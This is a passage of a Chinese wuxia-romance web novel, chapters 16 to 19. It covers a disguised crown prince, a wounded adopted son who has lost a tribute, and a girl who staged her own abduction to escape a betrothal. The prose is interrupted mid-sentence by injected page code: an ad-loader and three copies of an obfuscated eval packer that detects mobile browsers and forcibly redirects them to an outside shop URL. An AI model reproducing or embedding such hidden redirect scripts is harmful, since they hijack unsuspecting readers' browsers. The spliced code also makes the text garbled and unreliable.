燕鹤看着他道:“我出发前,老管家特意来为你求情,说你是玉叔叔带回来的人,当公子养着的。” 他几年前便听小叔叔说玉叔叔收了个养子,但阴差阳错的,他一直没有见到人。 没想到会是在这样的情景下相见。 他顿了顿,轻笑:“既是玉叔叔养子,你便该知道玉叔叔最是护短,不论你闯出多大祸事来,想来玉叔叔也愿意为你担着。” 青年,也就是玉千洲面露愧疚:“是我给义父添麻烦了。” 而后忙又道:“此事是草民失职,愿一己承担,万不敢连累义父。” 燕鹤看他片刻,道:“贡品丢失不是小事,玉叔叔为了护着你,一定会给明亲王府去信,王叔也定会护着玉叔叔,知晓我到了江南,便要写信给我让我将此事担了,所以你不必担心会牵连玉家,这事最后是落在我身上。” 摆不摆得平,都是他一力承担。 玉千洲闻言更加惶恐,他闯的祸怎敢让太子背锅,忙又要请罪,就被燕鹤抬手拦住,问:“你年岁几何?” 玉千洲不明所以,但还是如实回答:“再过两月二十。” 而后便听燕鹤道:“玉叔叔是王叔的义弟,我比你年长半岁,你可唤我一声阿兄,玉家阿弟闯了祸,做阿兄的理该担着。” “殿下……” 玉千洲大惊,他哪敢认太子做阿兄,可还未来得及动作,就被燕鹤点了穴道,一时动弹不得,愈发惶恐不安:“殿下……” 燕鹤起身将他扶着躺回床上,拉过被子给他盖上才又坐了回去。 “外面的人都不知我身份,不可再唤我殿下。” 玉千洲动不得,不得不压下心中万千情绪,恭声应下: “是。” “此事没有你想的那么严重。”燕鹤看向青年,道:“便是寻不回来,也无需担忧。” 玉千洲正要开口,却听燕鹤又道:“我若没记错,你到玉家已将近九年,怎没学会玉叔叔的本事?” “是草民愚钝。” 玉千洲垂眸道:“义父大才,草民不及万分。” 燕鹤默了会儿,才道:“若是玉叔叔,此刻应该抱着王叔的腿,恨不能将事情全丢给王叔。” 玉千洲脸上难得起了一丝裂痕,错愕的看着燕鹤。 青年眼底震惊太过,太子也跟着沉默了片刻,才道:“我不是叫你抱我的腿。” “草民不敢。” 玉千洲急声道。 若不是被点了穴,又要爬起来跪下。 燕鹤见此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,便沉声道:“我只是想告诉你,你应该记住,不论你之前是什么身份,经历过什么,既然已经做了玉家的公子,你便有家可归,有人可仗,不必战战兢兢,也不必觉得亏欠于谁。” “太过拘谨客气,不是与家人相处该有的样子,自己人便不该怕麻烦谁。” 玉千洲直愣愣看着燕鹤,似受宠若惊,似惶恐难安,眼底渐渐有了猩红。 燕鹤见他这样,不由想到王叔和老管家的话。 去岁,王叔回到玉京,曾同他念叨过几句玉家养子。 ‘那孩子心事太重,放不下过去又过不好将来,这样下去早晚得憋出问题来,你若见着他,记得开导一二,或者想办法问出些什么,替他解了心结最好’ ‘你玉叔叔明年就三十六了,要真一辈子不成婚,将来还指着这孩子养老呢’ 今晨,老管家为他求情: ‘殿下,千洲公子被家主带回来时差不多十一岁,浑身是伤,奄奄一息,家主费了好大劲才将人救回来,千洲公子醒来,家主问他什么他也不说,反倒是问家主有没有改变容貌之法,家主猜测他可能经历过什么重大变故,劝不住后便依了他从一位神医那里求了药,换了个模样’ ‘殿下知道的,家主因大爷至今了无音讯,一直不愿意成婚,觉着与千洲公子有缘,便收为义子,这些年千洲公子为报家主恩情,恨不能为玉家拼了命,如此下去,我怕……唉,这孩子也不知道遭了什么劫’ 想来,他今日不惜在重伤下奋力掷出那一剑救他,是因为看见了他腰间的玉佩,知道他与玉叔叔关系匪浅。 老管家说的不错,他恨不能拼了命回报玉叔叔的恩情。 “殿下,草民……” 良久后,玉千洲才找回自己的声音。 燕鹤打断他:“以后在我跟前,不必如此自称,若你不介意,我唤你千洲?” 玉千洲又沉默了下来,燕鹤也不出声。 不知过了多久,才又听他道:“我不介意,公子今日这番话,我会记得。” 他无论如何,也是不敢唤太子一声阿兄的。 燕鹤也不强求。 多年郁结非一日可解。 “你可知贡品在何处?” _ “他曾许诺过,我们以后成了婚,必也像父亲母亲这样,一生一世一双人。” 宣则灵哭过之后,心情顺畅了许多,但因有些难为情,加上姜蝉衣温柔的安抚,她便索性继续赖在姜蝉衣腿上。 姜蝉衣道:“你现在还信他吗?” 宣则灵语气坚定:“信。” “即便他们将这些污名都加在他身上,我也信他。” 似乎为了让自己的信任更有说服力,宣则灵又道:“解夫人出身书香门第,在我的记忆中,解夫人和解大公子都是知书明理之人,他很孝顺,很尊敬长辈,是个很好很好的人。” 九年过去,宣则灵很多事其实都记不清了,那位青梅竹马的解大公子在她的脑海里已经只是一个模糊的形态,甚至已经记不清样貌,但她就是记得,他很好,很好。 姜蝉衣从宣则灵的言语中能得知,她其实还一直挂念着那位解大公子。 “你以后还找他吗?” 宣则灵点头:“找。” “是生是死,都该有个了结。” 更重要的是:“若连我都放弃了,那么这世上应该再没有人记得他了。” 姜蝉衣便道:“他叫什么名字,我帮你留意着。” 宣则灵这才从姜蝉衣腿上起来,小娘子眼眶红红的,声音轻柔而坚定。 “他叫解千洲。” 16.第 16 章 “贡品在刘家娘子手上。” 玉千洲声音微沉道。 燕鹤抬眸望向外头,问出他心中的疑惑:“是你将宣姑娘带出来的?” 然半晌不见回应,燕鹤回头,便见青年神色怔忡,眼底仿若含着万千情绪,如狂风突然席卷而来。 却不知是为哪般。 “是。” 玉千洲眼底很快就恢复了平静,将来龙去脉简述了遍。 “那日车队遭劫,我们的人不敌,我带着贡品逃离,一路被黑酆门追杀,在官道遇上一行官眷车队,我彼时已身受重伤,怕贡品落入贼人之手,便就近挑了辆马车,将贡品托付给马车里的人。” 燕鹤明白,玉千洲当时挑的正是宣家娘子的马车。 “我怕给他们引来祸端,不敢耽搁朝另一条路逃去,黑酆门的人不知贡品已不在我手,尽数追了上来。” 玉千洲继续道:“我将空的盒子交出,趁他们放松防备时逃走,等确认摆脱他们后我便去找……贡品。” 燕鹤便问:“那你又为何会将宣姑娘带出来?” 玉千洲顿了几息,才道:“我找到刘家时,恰宣姑娘一人在院中,她……她用贡品相挟,要我带她走,并制造出她被劫走的假象。” 燕鹤得知二人先后失踪时,心头其实就有了猜测。 他虽然没有同玉千洲碰过面,但他相信玉叔叔,更相信小叔叔叔和小婶婶,他们能对玉千洲生出爱护之心,就证明玉千洲断不是品行不端之人。 若真是他将宣姑娘带走,必定有不得已的苦衷 果然,不出他所料。 “除此以外,宣姑娘可还曾用别的要挟你?” 已知贡品在宣家娘子手里,玉千洲自有千百个法子将东西要回来,小娘子的清誉何其重要,若无别的缘由,以他的性子,该不会答应才是。 玉千洲一愣,眼底划过一丝难辨的情绪,而后才道:“是。” “宣姑娘以死相逼。” 太子殿下能问出这个问题,便证明太子殿下极为认可他的品行,可他不明白,不过一次照面,太子殿下为何会如此高看他。 他确实不会为了贡品毁了一个小娘子的清誉,可他不能眼睁睁看着她死在自己面前。 也见不得她跪着求他。 这个答案在燕鹤意料之外,却又在情理之中,如此,一切就说的通了。 只是,宣家娘子为何要这么做? _ “解千洲。” 姜蝉衣伸出手,仔细确认:“是哪几个字?” 宣则灵微微倾身,小心翼翼在她手心一笔一划写着,轻轻柔柔,格外的谨慎和认真。 由此可见,那人在小娘子心中不一般的地位。 姜蝉衣抬眸看着小娘子湿润的颤抖着的羽睫,心软成一片。 确认好是哪几个字后,她才问道:“所以,受伤的那位公子,是你找来劫你的人?” 宣则灵点点头,又摇头,在姜蝉衣疑惑的视线中,她斟酌了一番,解释道:“其实我也不认识他。” “我正愁该如何行事,因缘际会遇见了他,他白日将一样东西托付给我,夜里找上门来要,我知道那样东西对他很重要,便以此为要挟求他带我走。” 姜蝉衣震惊而错愕的看着宣则灵。 这小娘子胆子未免也太大了,深更半夜,她一个娇滴滴的小娘子,就不怕落入虎口? 宣则灵有些心虚的低下头,声音轻轻的:“他本是不同意的,也因此,我越发确定他是个好人,所以就以死相逼。” “他这才同意将我劫走。” 姜蝉衣:“……” 宣则灵小心翼翼抬眸看了眼姜蝉衣,忙又补充道:“其实,我也是见他受了重伤,连剑都拿不稳,想着就算是坏人,也没功夫欺负我。” 小娘子声音越来越弱。 姜蝉衣不由握紧她的手,低叹一声。 她一时也不知道该说她‘有勇有谋’还是初生牛犊不怕虎。 “白日你也看见了,就算他剑都拿不稳,也能一剑杀了黑酆门的杀手,更何况你一个柔弱的小娘子。” 宣则灵脸色白了白,眼神闪烁着。 其实她后悔过。 “我不知道有那么多人追杀他。” 一想到那个场面,她就感到一阵后怕,拉着姜蝉衣倾诉道:“原本我出了城就要同他分开而行,可我才买好马车他就晕过去了,我总不能将他从马车上扔下去,只好暂时与他一路,哪里知道还有杀手在追他,我那时都要吓死了。” 姜蝉衣听着小娘子的诉说,一时啼笑皆非:“那些人追的是他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968278|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你怎不自己躲起来?” 宣则灵激动道:“我也想啊。” “但那时候来不及了,那些杀手看到了我的脸,必定认为我跟他是一伙的,我若落单只会死的更快。” “我看他杀人还挺利索,一时半会儿应是死不了,就想着跟他一路或许还安稳些。” 姜蝉衣没忍住轻笑了声。 倒还挺机灵。 “姜姐姐你还笑话我,我都吓死了。”宣则灵撅了撅嘴,蹙着眉头道:“我们被逼到悬崖边上时,他已经是强弩之末,我都已经绝望了。” 姜蝉衣看着小娘子丰富的神情,便逗她:“那时便知道后悔了?” 却听小娘子道:“命悬一线,倒也没空后悔,我便跟他说,我曾经看过一些话本子,主人公跳下悬崖都能活,要不我们也试试。” 姜蝉衣:“……” 不敢一个人呆在院里的小娘子倒还有勇气跳崖。 “好在姜姐姐犹如神兵天降,救了我们。”宣则灵往她身边蹭了蹭,挽着她胳膊笑盈盈道:“姜姐姐是我的救命恩人,我定会铭记一生,好好报答姜姐姐。” 见小娘子脸上总算有了些笑意,姜蝉衣便伸手勾着她下巴道,煞有其事逗她道:“小娘子打算如何报答我,我曾经听师弟说,救命之恩当以身相许,小娘子不如以后就跟着我?” 宣则灵哪里经过这场面,一张脸立刻就涨红了:“姜,姜姐姐……” 姜蝉衣见她这样忍不住莞尔一笑,收回手,道:“好啦,逗你的。” 转而握住她的手,认真道:“宣姑娘,不论将来能不能找到他,你都务必要珍重自己,万不可再如此冒险行事。” “此次是运气好遇见的是个好人,若是起了坏心的,后果不堪设想。” 若是以前她或许想不到这么多,也不会去忖度人心,但知道这世上有像这家黑店这样的存在后,她就长了个心眼子。 宣则灵感受到姜蝉衣对她的关切之意,心中无比动容,点头:“嗯,姜姐姐放心,此次只是权宜之计,我以后一定会好好爱惜自己。” 若不是别无他法,她万不敢冒这个险。 或许是因为那个闯进她院子里的青年有一双让她熟悉的眼睛,她才敢孤注一掷。 她认为能有那样一双眼睛的人,不是坏人。 17.第 17 章 院里火光明亮,身边的大师姐强大而温柔,让离家出走遭遇刺杀惊魂不定的小娘子终于渐渐地放下了一颗紧绷着的心。 小娘子不知何时睡着的,等她睡熟了,姜蝉衣温柔地将她抱到了屋内。 屋内的床有些异味,姜蝉衣脱下外衣垫在床上,又用小娘子的外衣盖在她身上,确保窗户都关上不会漏风,才轻轻关好门出去。 刚出门,就与从另一件屋里出来的燕鹤打了个照面,二人都愣了愣后,抬脚走向院中。 “宣姑娘睡着了,那位公子可还好?” 燕鹤点头:“也睡过去了,应当无碍。” 他看了眼姜蝉衣,随后背过身去脱下自己的外衣递过去:“夜里山中寒凉,姜姑娘莫着凉了。” 姜蝉衣忙推回去:“我有内力傍身,倒是你,需要注意些。” 燕鹤知道她许是误会了什么,道:“我也学过一些武功,身体还算硬朗。” 说完也不给姜蝉衣反驳的机会,将外衣披在她身上。 姜蝉衣见此也就不好再拒绝,伸手拢住外衣,有些意外:“燕公子会武功?” 燕鹤:“嗯,略懂一二。” 姜蝉衣眼神微闪,喔了声。 今日他给那位公子诊脉时也是这样说的,看来,武功也却是只懂皮毛。 “燕公子先坐。” 燕鹤顺从的坐在木墩上,见大师姐往火堆里加了几块柴,才后知后觉的明白了什么。 她莫不是以为他的武功和医术一样差? “燕公子,你坐近些。” 燕鹤动了动唇,终是咽回解释的话,道:“好。” 这点误会倒也无关紧要。 “呀,我方才忘记问宣姑娘了。”姜蝉衣突然想起了什么,看向燕鹤,道:“只能等明日宣姑娘醒来,燕公子再问问她是否知晓你朋友的下落了。” 燕鹤不防她还记得这事,温声道:“不用了,我找到他了。” 姜蝉衣一怔:“你何时找到……” 她似想到什么,忙看了眼屋内,瞪大眼:“该不会,就是这位公子?” 燕鹤轻笑着点头:“嗯。” “真是啊。” 姜蝉衣又惊又喜:“还真是无巧不成书。” “对了,那位公子是燕公子什么人?” 她隐约记得白日他曾说是他叔叔家的什么当家人? 燕鹤回答道:“是一位叔叔家的弟弟。” 姜蝉衣喔了声,了然道:“怪不得。” “宣姑娘说他是个好人,即便在生死关头也没抛下她,原来是燕公子的族弟。” 这话便是将两人一起夸了。 燕鹤笑了笑,道:“宣姑娘可有受伤?” “没有。”姜蝉衣赞叹道:“他都伤成那样了,竟还能将宣姑娘护的毫发无伤。” 燕鹤:“嗯,毕竟是他将姑娘带出来的。” 二人有一句没一句的聊着,火光照耀下,公子温和有礼,姑娘自由随性,时而传来几声轻笑,就连这个简陋的小院都变得美好起来。 闻达在四周检查完,回来看到这一幕,驻足片刻后便欲再转身隐去,只才刚动,姜蝉衣就看见了他。 “闻参军。” 闻达便只好走过去。 “夜里凉,闻参军快过来烤烤火。”姜蝉衣将身旁的木墩挪过去道。 闻达本要往燕鹤旁边走,见此便脚尖一转,走到姜蝉衣身旁,自然而然的将木墩往旁边挪了挪坐下:“多谢。” 燕鹤旁边没有木墩,他再避开显得太过刻意。 “二位要找的人已经找到了,接下来什么打算?”闻达问道。 这个任务比他想象中的快。 这一段同行的路似乎短暂,很快便要淹没在时间的长河里。 燕鹤却并未立刻回答,而是看向姜蝉衣,虽然他不明白宣家娘子为何大费周章制造被劫走的假象,但他想,她应当不会这么快回去。 果然,只见姜蝉衣摇摇头:“不知道。” 人是找到了,可她不愿意回去,她自不能强行将她带回去。 但也不可能把人丢下不管。 “燕公子有什么打算?” 燕鹤想了想,道:“阿弟伤势太重,需要静养几日再走。” 闻达听见那声阿弟很是诧异。 难不成,那位受伤的青年是燕公子的弟弟? 可他们不是找小娘子的么?怎么又成了小郎君? 此言正合姜蝉衣的意,她忙道:“好呀,那我们就在这里住两天?” 等宣则灵失踪的消息传到夙安府,她应该就愿意跟她回去了。 燕鹤点头:“好。” 闻达疑惑不解的看了看二人。 那位受伤的公子为何恰好是燕公子的弟弟先不提,可小娘子已经失踪两夜,如今找到了却不回去,难不成还有什么隐情? 但这种事不是他该知道的,自也不可能去问。 住几天便住几天。 “我去抱些柴。” 姜蝉衣忙道:“我也去。” 燕鹤却先一步起身,道:“我同闻参军去,姜姑娘在此等着便好。” 柴在外头,屋里还有两个人要保护,院里离不得人,姜蝉衣便也没坚持。 “好。” 闻达等着燕鹤过来,一道出了院子。 今日月光不错,店外还挂了盏灯笼,也不至于摸黑。 “闻参军。” 临近柴堆,燕鹤叫住闻达,闻达停住脚步,面色并无意外之色。 “燕公子?” 从燕鹤说要同他出来开始,他便知道他应是有话与他说。 燕鹤问道:“闻参军可有办法传些消息到平江玉家?” 提到玉家,闻达面色正了正:“公子吩咐。” 无他,实在是怕了那位玉家家主。 燕鹤从怀里取出一块玉佩,递给闻达:“劳烦闻参军找人将此物送到平江玉家,就说千洲公子已无碍,请玉家人安心。” 闻达看了眼那块玉佩,瞳孔微震。 这块与燕鹤的不一样,虽都是黄玉金穗,但这块玉中的金鱼是“玉”做的,金穗的颜色也稍浅了些。 他虽然不能细致的分辨出玉家玉佩的差别,却知道玉家本家人能戴金穗的只有玉家家主和玉家的公子。 这块金穗颜色稍浅,自然是属于那位玉公子的。 且就算他不知道,那声‘千洲公子’已足够让他明白燕鹤口中‘阿弟’是什么身份。 去岁玉家家主被一个商人占了些便宜,次日,那商人的家奴来报官,他赶到时,商人已被揍得爹妈都不认识了。 据闻,是玉家主的义子千洲公子动的手。 但他没见到人。 玉家主一口咬定是自己打的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984672|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,富商一行十几张嘴都没能辨赢,最后还将京城那尊神请来,把富商家底抄了个干净。 当日,玉家主连堂都舍不得让玉公子过,如今人却在粟江辖区被重伤成这样,一旦玉家发难,再把那位小王爷请来,他想都不敢想那会是什么样的场面。 知州大人大概恨不得一辈子晕死过去。 闻达深吸一口气,硬着头皮接过玉佩:“我明日亲自送去玉家。” 燕鹤见他如临大敌,起初不解,随后想起去岁的事才了然,不由温声道:“此次,多谢闻参军救了千洲。” 闻达下意识道:“是姜姑娘……” 不对! 闻达猛地抬头看向燕鹤。 他方才唤玉公子为,阿弟?! 据他所知,玉家主早与族亲断了来往,玉家主也只有一个义子,所以能唤玉公子为‘阿弟’的只有玉家主的义兄小王爷家的公子。 但年纪对不上。 如此,便只有一人了! 每年出京游学的太子殿下! 闻达终于明白知州大人今日的反常了,他忙收回视线作势要跪下。 燕鹤一把扶住他的手臂。 “闻参军。” 闻达却不敢再直视燕鹤。 “卑职不知是殿下驾临,请殿下降罪。” 燕鹤没想到他对玉家如此了解,这么快就猜到了他的身份,不过转念一想,去岁玉家在粟江那么大的动静,他作为衙门参军,想不了解都难。 “我是微服出行,你有何罪?” 燕鹤将闻达扶起来,放低声音:“还请闻参军保密。” 闻达自然知道他说的是谁,看了眼院子的方向,神情复杂的应下:“是,卑职明白。” “我常年行走在外,身在民间,便不必讲究诸多规矩,你我还与以往一样相处便是。”燕鹤又道。 闻达努力平息着心中的惊涛骇浪,大抵是太子言语温润,他很快竟以平静了下来,恭声应道:“是。” “好了,进去吧。” 燕鹤绕过他抱起一捆柴往院内走,闻达阻止的手停在半空,看着燕鹤离开的背影长呼一口气,平息好了起伏的情绪,才抱着柴大步进了院子。 此时,姜蝉衣正和燕鹤往火堆里加柴,不知说到了什么,二人脸上都挂着笑意。 他努力地让自己若无其事的走过去坐下,但还是被姜蝉衣看出了端倪:“闻参军,你怎么了?” 闻达快速看了眼燕鹤,又飞快收回视线:“没事。” “我在想,明日吃什么。” 姜蝉衣闻言忙道:“我方才已经去厨房看过了,没有任何食材了,但调料还有,要不,明日去打些野鸡?” 闻达却道:“我明日有事要下趟山,带些吃食回来。” 姜蝉衣正要问他是不是有什么要紧事,便听燕鹤道:“那明日就劳烦闻参军了。” 闻达刚想说不敢,又硬生生咽回去:“无妨。” 被燕鹤一打岔,姜蝉衣也就忘了追问什么,明日的伙食解决了,也就没什么可愁的了。 黑店内只有两间屋,两张床,五个人自是睡不下的。 他们默契的将床留给了受伤的郎君和柔弱的小娘子,三人围着火堆而坐,谈天说地,倒也别有一番意趣。 后来不知何时,都坐在火堆旁睡了过去。 直到天将亮时,来了不速之客。 18.第 18 章 晨光破晓,山野仍有大雾弥漫。 门外传来动静时,姜蝉衣和燕鹤几乎是同时睁开了眼。 燕鹤不动声色的看向门外,姜蝉衣则迅速拿起身旁的剑起身,几乎是同时,几支箭破空而来。 长剑顷刻间出鞘,将暗箭悉数挡住。 闻达被惊醒,抓起刀谨慎的盯着四周。 屋里也在此时传来了动静,玉千洲和宣则灵先后出来。 玉千洲拧着剑立在燕鹤身前,宣则灵见姜蝉衣站在最前方,不敢过去,熟练的跑到玉千洲身后,紧张地看了眼地上的暗箭,大气也不敢出。 她认得这些箭,就是昨日追杀他们的叫黑什么门的杀手组织。 小院中气氛凝固了几息,数支暗箭再次破空而来,姜蝉衣和闻达迎上前去,再次挡下箭,随后一帮黑衣人便冲进院中,姜蝉衣侧首道:“玉公子保护好他们。” 玉千洲听得这话定住脚步,疑惑的看了眼燕鹤。 他之前虽没有见过太子殿下,但听义父说起过,太子殿下武学师父甚多,尽得真传,这些人如何伤得了太子殿下。 莫非是殿下不愿意暴露武功? 如此想着,玉千洲果真没再动作。 看着姜蝉衣和闻达与黑衣人缠斗,宣则灵下担忧出声:“姜姐姐...” 玉千洲仿若没听见,眼也不眨的盯着场上的打斗,燕鹤便道:“这些人不是姜姑娘的对手。” 宣则灵闻言稍稍放松下来。 正如燕鹤所说,这些人确实不是姜蝉衣的对手,更何况还有闻达相助,几番战斗过后,领头的人捂着手臂上的伤,看了眼玉千洲,扬手:“撤!” 姜蝉衣顾及燕鹤和宣则灵,也没去追。 确认黑酆门的杀手真的离开,她便收剑转身。 闻达沉声:“此地不宜久留。” 燕鹤取出帕子递给姜蝉衣,姜蝉衣一时没明白他的意思,茫然的望着他,他便上前一步取过姜蝉衣的剑,自然而然且熟练的擦拭着,同时道:“黑酆门收了钱,便是不死不休,下次只会来更多人。” 闻达低头看了眼自己刀上的血污,又默默别开眼。 姜蝉衣盯着那几根修长的手指,青色的帕子在他手中与血红相衬,竟别有一番美感,遂点头:“嗯,是好看。” 几人同时看向他,燕鹤也抬眸望来,大师姐面不改色的对上他的视线,眨眨眼:“我是说,是该走。” “这里地形不占优势,若黑酆门卷土重来,不好打。” 宣则灵的目光在二人身上流转,眼底泛着异样的光彩。 玉千洲也别有深意的看了眼姜蝉衣。 她是谁,为何与太子殿下如此熟稔? 皇亲国戚中没有姜姓。 燕鹤垂眸,将擦拭干净的剑递给姜蝉衣,温淡开口:“若宣姑娘不急着回城,不若先找地方安顿?” 宣则灵回过神,赶紧摇头:“我不急。” 平江到夙安府快马加鞭也要好几日,她失踪的消息此时定还没有传过去。 闻达这时道:“要去粟江吗?” 燕鹤摇头:“黑酆门的人不会就此放弃,以免牵连无辜,先不去城中。” “可城外没有合适的地方落脚。”闻达。 燕鹤没作声,似沉思,似为难。 一时间,所有人都沉默了下来。 好一会儿后,一道略微沉闷的声音响起:“平江城外有一个庄子。” 所有人都转头看向开口的玉千洲。 玉千洲神色有些微的不自然:“不如先去那里?” 那处是玉家的庄子,虽然玉家所有宅院商铺他都能自如进出,但他从来没有去过。 “如此也好。” 燕鹤看向他,语气温和。 姜蝉衣道:“那太好了,我们立刻出发。” 闻达宣则灵自然也没有意见。 一行人迅速收拾好,在玉千洲的带领下往庄子上而去。 只有三匹马,姜蝉衣带着宣则灵,燕鹤与玉千洲同乘,一个时辰后便到了庄子上。 庄子上门是开着的,但没有人,玉千洲带着几人进去,立在院中茫然了片刻,道:“管家应该去了果园,我先带诸位安顿。” 到了别人的地盘,自然都是听主人家的,一行人随着玉千洲去了客房。 各自放好行囊,便陆续出了门。 宣则灵将随身的荷包取下来握在手里,先姜蝉衣走出房门。 她刚出月亮门就看到等候在那里的玉千洲,忙快步上前:“公子。” 玉千洲缓缓站直,看向她。 宣则灵走到他跟前,将荷包递给他:“这是你曾经托付给我的东西。” 玉千洲愣了愣:“你不是说放在院子里了?” 宣则灵因心虚羽睫微颤,轻声道:“我只是暂住在那里,对那里不熟悉,这么重要的东西还是随身带着比较好。” “之前那样说,是因为……” 她怕他拿到东西抛下她。 玉千洲大概也猜到了,伸手接过荷包,道:“多谢。” 宣则灵忙道:“是我该谢谢你。” 玉千洲没作声了。 宣则灵便退到一旁等着其他人。 突然,却听青年道:“为何不回去?” 宣则灵一愣,随后反应过来,唇角微微动了动,到底是他将她带出来的,这事也没有瞒他必要,遂道:“家里定了桩亲事,我想退婚。” 她低着头,是以便没有看见玉千洲脸上一闪而逝的沉色。 小娘子被人掳走,失踪几日,未婚夫家必不可能无动于衷。 原来,她是因此才冒险离家。 良久后,玉千洲才道:“何至于此?” 宣则灵这才抬眸看向她,蹙眉认真道:“至于。” 玉千洲看见小娘子眼底的坚定,缓缓收回视线嗯了声。 原本话题就该到此结束,可宣则灵看着那双熟悉的眼神,惆怅和心酸莫名涌上心头,低声道:“若你的婚书上突然换了人,你又待如何?” 玉千洲握着剑的手霎时青筋暴起,他定定的看着宣则灵,许久,才找回自己的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993293|147328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你是因此才想退婚?” 所以,她定的还是解家! 宣则灵点头闷闷的:“嗯。” 这种事不该同一个外男说,她遂不再愿意多说了。 姜蝉衣出来见宣则灵神色不对,便走过去问道:“怎么了?” 宣则灵忙摇摇头。 姜蝉衣看了眼玉千洲手上的荷包,便猜到那应该是宣则灵归还给他的东西。 “千洲。” 一道温润的声音响起。 宣则灵猛地抬起头,有一瞬间,她怀疑自己生了幻觉听错了,可却见燕鹤出来走到玉千洲跟前:“你身上还有伤,先回去歇着。” 玉千洲绷直唇,道:“无妨。” 宣则灵只觉头脑空白了一瞬,眼也不错地盯着玉千洲。 他叫什么? 姜蝉衣也反应过来,疑惑的看向玉千洲,只还没来得及询问,便见一位管家急急跑过来,停在玉千洲跟前恭敬行礼:“公子来了,老奴有失远迎。” 玉千洲余光瞥见宣则灵,默了默,道:“我带朋友住几日,劳烦管家采些新鲜的果子。” 管家先是一愣,而后连忙恭敬应下:“是,老奴这就去。” 以前公子可从来不涉足玉家任何其他产业,即便是去了也是做自己的事,也不吩咐他们任何,更遑论带朋友回来。 虽然知道公子是不愿意给他们添麻烦,可难免叫人觉得疏离,如今这般,若是家主知道,定然欣慰! “对了公子,庄子上一直为您备了房间,若是缺什么……”管家突然看见玉千洲身上的血迹,失声道:“公子受伤了?” 玉千洲:“小伤,不要紧。” 管家急忙道:“那老奴先带公子去换身衣裳,再请大夫过来看看。” 若是以前,玉千洲必然拒绝。 可眼下,他却只顿了顿,便点头:“好。” 青年目不斜视从宣则灵身侧走过。 宣则灵的手伸到一半,僵在空中。 待人走远,姜蝉衣轻轻握住她的手,皱眉道:“应该只是同名?” 但还是向燕鹤确认了一遍:“燕公子的弟弟,叫千洲?” 燕鹤自将宣则灵的反应看在眼里,点头:“嗯,他叫玉千洲。” “玉?” 姜蝉衣疑惑道:“你们不同姓?” 燕鹤解释道:“嗯,说来话长,他是……” 江南有不少人知道玉叔叔的义兄是小叔叔,若他如实说,几乎等于暴露了身份。 “我们是世交。” 姜蝉衣不疑有他:“原来如此。” 这时,闻达也换好衣裳出来,几人便没再多言,一道往前院走去。 宣则灵方才几番欲开口,都没能说出一个字,听到这里才蓦然清醒。 是啊,应该只是同名。 不过九年,他再怎么变她也不可能跟他朝夕相处一日还认不出来。 他的脸是完全陌生的。 天下之广,同名者甚多。 再者若真是他,也不应该认不出来她。 19.第 19 章 玉家在平江城外的这片果园极大,几乎占了半座山,品种也甚多,眼下还不到果木成熟之期,山上只有日常巡查的几个工人,整座山便显得很是僻静。 宣则灵提裙顺着蜿蜒小路往上寻着。 半个时辰前,一行人过来逛果园,她亲眼看见玉千洲独自往这边来了。 她方才问了姜姐姐,才知道原来玉千洲是玉家养子,心中不免疑窦丛生,特意避开人找了过来。 半山台上,男子迎风而立,一身蓝色广袖锦袍,长身如玉,高束着的头发放了下来,用一根玉簪簪着垂在背上,不过腰。 这样的装扮让他多了几丝矜贵之气,面容神情中似也少了些冷冽沉稳。 甚至添了几丝柔情。 山风拂过,广袖摇曳,露出他手中紧握着的荷包,这是宣则灵归还贡品时一并给来的,荷包上绿竹刺绣很熟悉,比他曾经收到过的那一个针脚更密,显然,主人的刺绣技艺成熟了许多。 毕竟,九年了,曾经的小姑娘已变成了如今亭亭玉立的少女。 他的拇指轻轻拂过绿竹旁边的那一朵芍药,唇角几不可见的弯了弯。 风声中,有脚步声传来。 凌乱,匆慌,是不会功夫的女子。 是她来了。 玉千洲不动声色的将荷包收入怀中。 宣则灵没有爬过这样的山路,一路上来已是有些气喘吁吁,加上四下无人,风声萧萧,心头不免生出几分恐慌。 直到她走上又一个平台,远远看见那抹蓝色,心中的惧意骤然消散。 大抵是因那一天一夜他们共生死,如今她每每见他总觉心安。 她快步走过去,桃粉色裙摆迎风而动。 她是被劫出来的,自然不可能带走换洗的衣裳,她原本那身在逃亡中沾了血,眼下从头到脚包括首饰都是庄子里的人快马加鞭去平江城采买回来的。 管家送来衣裳首饰,供她和姜姐姐挑选,她一眼便相中这套束腰广袖裙。 桃粉色她一直很喜欢的颜色,她觉得和芍药相近,特别好看。 突然,小娘子停住了脚步。 